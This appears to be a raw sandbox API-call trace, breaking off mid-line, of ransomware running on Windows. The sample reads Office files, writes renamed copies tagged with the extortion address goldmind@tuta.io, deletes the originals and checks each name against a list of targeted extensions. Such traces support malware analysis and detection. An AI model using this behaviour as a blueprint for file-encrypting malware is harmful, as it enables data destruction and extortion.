[0107.005] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0107.006] GetLastError () returned 0x0 [0107.006] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0xa570, lpOverlapped=0x0) returned 1 [0107.013] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xa580, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xa580, lpOverlapped=0x0) returned 1 [0107.014] ReadFile (in: hFile=0x38c, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.014] WriteFile (in: hFile=0x188, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0107.014] SetEndOfFile (hFile=0x188) returned 1 [0107.014] CloseHandle (hObject=0x188) returned 1 [0107.014] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.014] SetEndOfFile (hFile=0x38c) returned 1 [0107.016] CloseHandle (hObject=0x38c) returned 1 [0107.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl")) returned 1 [0107.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0107.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0107.036] lstrlenW (lpString=".doc") returned 4 [0107.044] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0107.044] lstrlenW (lpString=".docx") returned 5 [0107.044] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0107.044] lstrlenW (lpString=".pdf") returned 4 [0107.044] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0107.044] lstrlenW (lpString=".xls") returned 4 [0107.052] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0107.052] lstrlenW (lpString=".xlsx") returned 5 [0107.052] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0107.052] lstrlenW (lpString=".ppt") returned 4 [0107.052] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0107.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0107.052] lstrlenW (lpString=".zip") returned 4 [0107.052] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0107.052] lstrlenW (lpString=".rar") returned 4 [0107.052] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0107.052] lstrlenW (lpString=".bz2") returned 4 [0107.052] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0107.052] lstrlenW (lpString=".7z") returned 3 [0107.056] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0107.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0107.057] lstrlenW (lpString=".dbf") returned 4 [0107.057] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0107.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0107.057] lstrlenW (lpString=".1cd") returned 4 [0107.057] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0107.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0107.057] lstrlenW (lpString=".jpg") returned 4 [0107.057] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0107.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0107.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0107.057] lstrlenW (lpString=".doc") returned 4 [0107.057] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0107.057] lstrlenW (lpString=".docx") returned 5 [0107.057] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0107.057] lstrlenW (lpString=".pdf") returned 4 [0107.057] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0107.057] lstrlenW (lpString=".xls") returned 4 [0107.057] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0107.057] lstrlenW (lpString=".xlsx") returned 5 [0107.057] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0107.057] lstrlenW (lpString=".ppt") returned 4 [0107.057] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0107.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0107.057] lstrlenW (lpString=".zip") returned 4 [0107.057] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0107.057] lstrlenW (lpString=".rar") returned 4 [0107.057] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0107.057] lstrlenW (lpString=".bz2") returned 4 [0107.057] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0107.057] lstrlenW (lpString=".7z") returned 3 [0107.057] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0107.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0107.057] lstrlenW (lpString=".dbf") returned 4 [0107.057] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0107.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0107.057] lstrlenW (lpString=".1cd") returned 4 [0107.057] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0107.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0107.057] lstrlenW (lpString=".jpg") returned 4 [0107.057] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0107.057] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0107.058] lstrlenW (lpString="SLINTL.DLL") returned 10 [0107.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0107.058] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=9088) returned 1 [0107.058] CloseHandle (hObject=0x3b8) returned 1 [0107.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll")) returned 0x20 [0107.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0107.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0107.059] lstrlenW (lpString=".doc") returned 4 [0107.059] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0107.059] lstrlenW (lpString=".docx") returned 5 [0107.059] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0107.059] lstrlenW (lpString=".pdf") returned 4 [0107.059] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0107.059] lstrlenW (lpString=".xls") returned 4 [0107.059] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0107.059] lstrlenW (lpString=".xlsx") returned 5 [0107.059] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0107.059] lstrlenW (lpString=".ppt") returned 4 [0107.059] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0107.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0107.059] lstrlenW (lpString=".zip") returned 4 [0107.059] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0107.059] lstrlenW (lpString=".rar") returned 4 [0107.059] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0107.059] lstrlenW (lpString=".bz2") returned 4 [0107.059] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0107.059] lstrlenW (lpString=".7z") returned 3 [0107.059] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0107.059] lstrlenW (lpString=".dbf") returned 4 [0107.059] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0107.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0107.059] lstrlenW (lpString=".1cd") returned 4 [0107.059] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0107.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0107.059] lstrlenW (lpString=".jpg") returned 4 [0107.059] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0107.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0107.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0107.059] lstrlenW (lpString=".doc") returned 4 [0107.059] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0107.059] lstrlenW (lpString=".docx") returned 5 [0107.059] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0107.059] lstrlenW (lpString=".pdf") returned 4 [0107.059] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0107.059] lstrlenW (lpString=".xls") returned 4 [0107.059] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0107.059] lstrlenW (lpString=".xlsx") returned 5 [0107.059] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0107.060] lstrlenW (lpString=".ppt") returned 4 [0107.060] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0107.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0107.060] lstrlenW (lpString=".zip") returned 4 [0107.060] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0107.060] lstrlenW (lpString=".rar") returned 4 [0107.060] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0107.060] lstrlenW (lpString=".bz2") returned 4 [0107.060] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0107.060] lstrlenW (lpString=".7z") returned 3 [0107.060] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0107.060] lstrlenW (lpString=".dbf") returned 4 [0107.060] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0107.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0107.060] lstrlenW (lpString=".1cd") returned 4 [0107.060] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0107.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL") returned 58 [0107.060] lstrlenW (lpString=".jpg") returned 4 [0107.060] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0107.060] lstrcmpiW (lpString1=".VSL", lpString2=".gold") returned 1 [0107.060] lstrlenW (lpString="SMIGRATE.VSL") returned 12 [0107.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0107.089] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=38768) returned 1 [0107.089] CloseHandle (hObject=0x3c4) returned 1 [0107.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl")) returned 0x20 [0107.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.104] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.104] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.286] GetLastError () returned 0x0 [0107.286] ReadFile (in: hFile=0x230, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x9770, lpOverlapped=0x0) returned 1 [0107.304] WriteFile (in: hFile=0x180, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x9780, lpOverlapped=0x0) returned 1 [0107.305] ReadFile (in: hFile=0x230, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.305] WriteFile (in: hFile=0x180, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.306] SetEndOfFile (hFile=0x180) returned 1 [0107.306] CloseHandle (hObject=0x180) returned 1 [0107.306] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.306] SetEndOfFile (hFile=0x230) returned 1 [0107.308] CloseHandle (hObject=0x230) returned 1 [0107.308] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl")) returned 1 [0107.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0107.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0107.392] lstrlenW (lpString=".doc") returned 4 [0107.392] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0107.392] lstrlenW (lpString=".docx") returned 5 [0107.392] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0107.392] lstrlenW (lpString=".pdf") returned 4 [0107.392] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0107.392] lstrlenW (lpString=".xls") returned 4 [0107.392] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0107.392] lstrlenW (lpString=".xlsx") returned 5 [0107.392] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0107.392] lstrlenW (lpString=".ppt") returned 4 [0107.393] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0107.393] lstrlenW (lpString=".zip") returned 4 [0107.393] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0107.393] lstrlenW (lpString=".rar") returned 4 [0107.393] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString=".bz2") returned 4 [0107.393] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString=".7z") returned 3 [0107.393] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0107.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0107.393] lstrlenW (lpString=".dbf") returned 4 [0107.393] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0107.393] lstrlenW (lpString=".1cd") returned 4 [0107.393] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0107.393] lstrlenW (lpString=".jpg") returned 4 [0107.393] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0107.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0107.393] lstrlenW (lpString=".doc") returned 4 [0107.393] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString=".docx") returned 5 [0107.393] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1 [0107.393] lstrlenW (lpString=".pdf") returned 4 [0107.393] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString=".xls") returned 4 [0107.393] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0107.393] lstrlenW (lpString=".xlsx") returned 5 [0107.393] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1 [0107.393] lstrlenW (lpString=".ppt") returned 4 [0107.393] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0107.393] lstrlenW (lpString=".zip") returned 4 [0107.393] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0107.393] lstrlenW (lpString=".rar") returned 4 [0107.393] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString=".bz2") returned 4 [0107.393] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString=".7z") returned 3 [0107.393] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0107.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0107.393] lstrlenW (lpString=".dbf") returned 4 [0107.393] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0107.393] lstrlenW (lpString=".1cd") returned 4 [0107.393] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0107.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL") returned 60 [0107.393] lstrlenW (lpString=".jpg") returned 4 [0107.393] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0107.394] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0107.394] lstrlenW (lpString="VISBRRES.DLL") returned 12 [0107.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.406] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=37264) returned 1 [0107.406] CloseHandle (hObject=0x230) returned 1 [0107.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll")) returned 0x20 [0107.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0107.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0107.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0107.410] lstrlenW (lpString=".doc") returned 4 [0107.410] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0107.410] lstrlenW (lpString=".docx") returned 5 [0107.410] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0107.410] lstrlenW (lpString=".pdf") returned 4 [0107.410] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0107.410] lstrlenW (lpString=".xls") returned 4 [0107.410] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0107.410] lstrlenW (lpString=".xlsx") returned 5 [0107.410] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0107.410] lstrlenW (lpString=".ppt") returned 4 [0107.410] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0107.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0107.410] lstrlenW (lpString=".zip") returned 4 [0107.410] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0107.410] lstrlenW (lpString=".rar") returned 4 [0107.410] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0107.410] lstrlenW (lpString=".bz2") returned 4 [0107.410] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0107.410] lstrlenW (lpString=".7z") returned 3 [0107.410] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0107.410] lstrlenW (lpString=".dbf") returned 4 [0107.410] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0107.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0107.410] lstrlenW (lpString=".1cd") returned 4 [0107.410] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0107.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0107.410] lstrlenW (lpString=".jpg") returned 4 [0107.410] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0107.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0107.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0107.411] lstrlenW (lpString=".doc") returned 4 [0107.411] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0107.411] lstrlenW (lpString=".docx") returned 5 [0107.411] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0107.411] lstrlenW (lpString=".pdf") returned 4 [0107.411] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0107.411] lstrlenW (lpString=".xls") returned 4 [0107.411] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0107.411] lstrlenW (lpString=".xlsx") returned 5 [0107.411] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0107.411] lstrlenW (lpString=".ppt") returned 4 [0107.411] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0107.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0107.411] lstrlenW (lpString=".zip") returned 4 [0107.411] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0107.411] lstrlenW (lpString=".rar") returned 4 [0107.411] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0107.411] lstrlenW (lpString=".bz2") returned 4 [0107.411] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0107.411] lstrlenW (lpString=".7z") returned 3 [0107.411] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0107.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0107.411] lstrlenW (lpString=".dbf") returned 4 [0107.411] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0107.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL") returned 60 [0107.411] lstrlenW (lpString=".1cd") returned 4 [0107.411] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0107.411] lstrlenW 